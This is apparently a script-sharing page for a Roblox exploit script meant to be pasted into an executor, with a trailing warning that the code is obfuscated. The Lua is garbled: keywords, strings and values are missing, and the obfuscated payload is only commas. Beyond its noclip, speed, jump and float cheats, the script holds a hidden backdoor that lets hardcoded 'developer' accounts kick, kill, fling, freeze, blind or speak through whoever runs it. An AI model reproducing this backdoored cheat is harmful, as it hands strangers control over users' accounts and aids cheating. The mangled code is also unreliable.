Run it
Copy the script and paste it into your executor.
obfuscated_script = {,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,} decoded = i = , #obfuscated_script decoded = decoded .. .(obfuscated_script[i]) (decoded)()
Players = :()
LocalPlayer = Players.LocalPlayer
developerUsernames = {, , , }
(username)
success, userId = (()
Players:(username)
)
success
userId
(, username)
scriptDeveloperIds = {}
_, username (developerUsernames)
userId = (username)
userId
.(scriptDeveloperIds, userId)
(, username)
followConnection
(message, sender)
lowerMessage = message:()
lowerMessage:(, ) ==
command = lowerMessage:()
.(scriptDeveloperIds, sender.UserId)
command ==
LocalPlayer:()
command ==
LocalPlayer.Character:()
command ==
character = LocalPlayer.Character
humanoidRootPart = character:()
humanoidRootPart
bodyVelocity = .()
bodyVelocity.MaxForce = .(, , )
bodyVelocity.Velocity = .(, , )
bodyVelocity.Parent = humanoidRootPart
trail = .()
trail.Parent = humanoidRootPart
trail.Color = ColorSequence.(.(, , ), .(, , ))
trail.Lifetime =
trail.Attachment0 = .(, humanoidRootPart)
trail.Attachment1 = .(, humanoidRootPart)
trail.WidthScale = NumberSequence.(, )
particles = .()
particles.Parent = humanoidRootPart
particles.Texture =
particles.Rate =
particles.Lifetime = NumberRange.(, )
particles.Speed = NumberRange.(, )
particles.VelocitySpread =
particles.Color = ColorSequence.(.(, , ), .(, , ))
particles.LightEmission =
:():(bodyVelocity, )
:():(trail, )
:():(particles, )
command ==
root = LocalPlayer.Character:()
root
bodyPosition = .()
bodyPosition.MaxForce = .(, , )
bodyPosition.D =
bodyPosition.P =
bodyPosition.Position = root.Position
bodyPosition.Parent = root
bodyGyro = .()
bodyGyro.MaxTorque = .(, , )
bodyGyro.CFrame = root.CFrame
bodyGyro.Parent = root
command ==
root = LocalPlayer.Character:()
root
bodyPosition = root:()
bodyPosition bodyPosition:()
bodyGyro = root:()
bodyGyro bodyGyro:()
command ==
explosion = .()
explosion.Position = LocalPlayer.Character.HumanoidRootPart.Position
explosion.BlastRadius =
explosion.BlastPressure =
explosion.Parent =
command ==
LocalPlayer.Character sender.Character
LocalPlayer.Character:(sender.Character.HumanoidRootPart.CFrame)
command ==
bodyVelocity = .()
bodyVelocity.MaxForce = .(, , )
bodyVelocity.Velocity = .(, , )
bodyVelocity.Parent = LocalPlayer.Character:()
:():(bodyVelocity, )
command ==
humanoid = LocalPlayer.Character:()
humanoid sender.Character
followConnection followConnection:()
followConnection = :().Stepped:(()
LocalPlayer.Character sender.Character
rootPart = LocalPlayer.Character:()
senderRootPart = sender.Character:()
rootPart senderRootPart
direction = (senderRootPart.Position - rootPart.Position).Unit
targetPosition = senderRootPart.Position - direction *
rootPart.CFrame = .(rootPart.Position, senderRootPart.Position)
rootPart.Velocity = direction * humanoid.WalkSpeed
followConnection followConnection:()
)
command ==
followConnection
followConnection:()
followConnection =
command ==
humanoid = LocalPlayer.Character:()
humanoid
humanoid.Sit =
Players = :()
RunService = :()
LocalPlayer = Players.LocalPlayer
Character = LocalPlayer.Character LocalPlayer.CharacterAdded:()
Humanoid = Character:()
isNoclip =
connection
()
isNoclip =
connection = RunService.Stepped:(()
_, part (Character:())
part:()
part.CanCollide =
)
()
isNoclip =
connection connection:()
_, part (Character:())
part:()
part.CanCollide =
LocalPlayer.Chatted:((message)
args = .(message, )
args[] ==
()
()
args[] ==
()
()
args[] == args[]
speed = (args[])
speed speed >= speed <=
Humanoid.WalkSpeed = speed
( .. speed)
args[] == args[]
jumpPower = (args[])
jumpPower jumpPower >= jumpPower <=
Humanoid.JumpPower = jumpPower
( .. jumpPower)
)
Players = :()
LocalPlayer = Players.LocalPlayer
Character = LocalPlayer.Character LocalPlayer.CharacterAdded:()
Humanoid = Character:()
()
Humanoid
Humanoid.Jump =
LocalPlayer.Chatted:((message)
message:() ==
()
)
LocalPlayer.Chatted:((message)
(message)
)
(player)
player.Chatted:((message)
(message, player)
)
Players = :()
RunService = :()
TextChatService = :()
ReplicatedStorage = :()
LocalPlayer = Players.LocalPlayer
Character = LocalPlayer.Character LocalPlayer.CharacterAdded:()
Humanoid = Character:()
isFloating =
floatConnection
(message)
TextChatService.ChatVersion == .ChatVersion.TextChatService
textChannel = TextChatService.TextChannels.RBXGeneral
textChannel
textChannel:(message)
sayMessageRequest = ReplicatedStorage:()
sayMessageRequest
sayMessageRequest.SayMessageRequest:(message, )
(height)
isFloating
isFloating =
rootPart = Character:()
rootPart
bodyPosition = .()
bodyPosition.MaxForce = .(, , )
bodyPosition.D =
bodyPosition.P =
bodyPosition.Position = rootPart.Position + .(, height, )
bodyPosition.Parent = rootPart
floatConnection = bodyPosition
()
isFloating floatConnection
floatConnection:()
floatConnection =
isFloating =
()
LocalPlayer:()
gui = .()
gui.Name =
gui.ResetOnSpawn =
frame = .()
frame.Size = .(, , , )
frame.Position = .(, , , )
frame.BackgroundColor3 = .(, , )
frame.BorderSizePixel =
frame.Parent = gui
gui.Parent = LocalPlayer:()
()
playerGui = LocalPlayer:()
playerGui
blindGui = playerGui:()
blindGui
blindGui:()
LocalPlayer.Chatted:((message)
args = .(message, )
command = args[]:()
command ==
textToSay = message:()
textToSay textToSay ~=
(textToSay)
command ==
()
command ==
()
command == args[]
height = (args[])
height
(height)
command ==
()
)
Players.PlayerAdded:(onPlayerAdded)
_, player (Players:())
(player)
Obfuscated. The code is scrambled, so you can't read what it does. Common for key systems, but take care.